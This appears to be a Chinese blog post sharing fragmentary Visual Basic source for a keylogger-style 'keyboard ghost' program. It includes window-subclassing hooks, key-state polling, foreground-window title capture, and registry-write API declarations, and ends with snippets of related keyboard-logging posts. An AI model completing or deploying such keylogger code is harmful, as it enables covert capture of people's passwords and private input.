鍵盤幽靈VB版

2021-04-17 08:53:32 字數 3193 閱讀 7346

這個是我寫的乙個類似鍵盤幽靈的程式,大家自己看看吧。晚上無聊寫的,不要拿來做壞事呀。

mcommon.bas

attribute vb_name = "mfuncation"

'設定鉤子

public function hook(byval hwnd as long)

'監視所有訊息

'設定子分類

lpprevwndproc = setwindowlong(hwnd, gwl_wndproc, addressof windowproc)

end function

'解除安裝鉤子

public sub unhook(byval hwnd as long)

'解除安裝子分類

call setwindowlong(hwnd, gwl_wndproc, lpprevwndproc)

end sub

'設定caps鍵和numlock鍵的狀態為開

public function capslockon() as boolean

static binit as boolean

static bon as boolean

if not binit then

while getasynckeystate(vk_capital)

wend

bon = getkeystate(vk_capital)

binit = true

else

if getasynckeystate(vk_capital) then

while getasynckeystate(vk_capital)

doevents

wend

bon = not bon

end if

end if

capslockon = bon

end function

'取得乙個窗體的標題

public function getcaption(windowhandle as long) as string

dim strbuffer as string, lngtextlength as long

lngtextlength = getwindowtextlength(windowhandle)

strbuffer = string(lngtextlength, 0)

call getwindowtext(windowhandle, strbuffer, lngtextlength + 1)

getcaption$ = strbuffer

end function

function windowproc(byval hw as long, byval umsg as long, byval wparam as long, byval lparam as long) as long

windowproc = callwindowproc(lpprevwndproc, hw, umsg, wparam, lparam)

end function

mapi.bas

attribute vb_name = "mapi"

'申明api

declare function callwindowproc lib "user32" alias "callwindowproca" (byval lpprevwndfunc as long, byval hwnd as long, byval msg as long, byval wparam as long, byval lparam as long) as long

declare function setwindowlong lib "user32" alias "setwindowlonga" (byval hwnd as long, byval nindex as long, byval dwnewlong as long) as long

declare function getasynckeystate lib "user32" (byval vkey as long) as integer

declare function getkeystate lib "user32" (byval nvirtkey as long) as integer

declare function regopenkeyexa lib "advapi32.dll" (byval hkey as long, byval lpsubkey as string, byval uloptions as long, byval samdesired as long, phkresult as long) as long

declare function regsetvalueexa lib "advapi32.dll" (byval hkey as long, byval lpvaluename as string, byval reserved as long, byval dwtype as long, byval lpvalue as string, byval cbdata as long) as long

declare function regclosekey lib "advapi32.dll" (byval hkey as long) as long

declare function getforegroundwindow lib "user32.dll" () as long

declare function getwindowtext lib "user32" alias "getwindowtexta" (byval hwnd as long, byval lpstring as string, byval cch as long) as long

declare function getwindowtextlength lib "user32" alias "getwindowtextlengtha" (byval hwnd as long) as long

'申明常數

const vk_capital = &h14

const reg as long = 1

const hkey_local_machine as long = &h80000002

const hwnd_topmost = -1

const swp_nomove = &h2

const swp_nosize = &h1

const flags = swp_nomove or swp_nosize

const gwl_wndproc = -4

vb鍵盤記錄

private sub timer1 timer dx鍵盤記錄 on error resume next static keyarray 255 as byte dim key count as integer,vkeycode as integer,vkeyasc as string di key...

VB 全域性鍵盤 滑鼠鉤子

if code hc action then copymemory mousemsg,lparam,lenb mousemsg form1.txtmsg 1 text x str mousemsg.x y str mousemsg.y form1.txthwnd 1 format wparam,0 ...

VB判斷鍵盤輸入

vb判斷鍵盤輸入 下圖表示的是鍵盤各按鍵的keycode值 到這裡,我們在keydown或keyup等事件的 裡用 if keycode 20 then 或 if keycode 20 then 語句就可以判斷鍵盤輸入了。vb中還有一些特殊按鍵 private sub form keydown ke...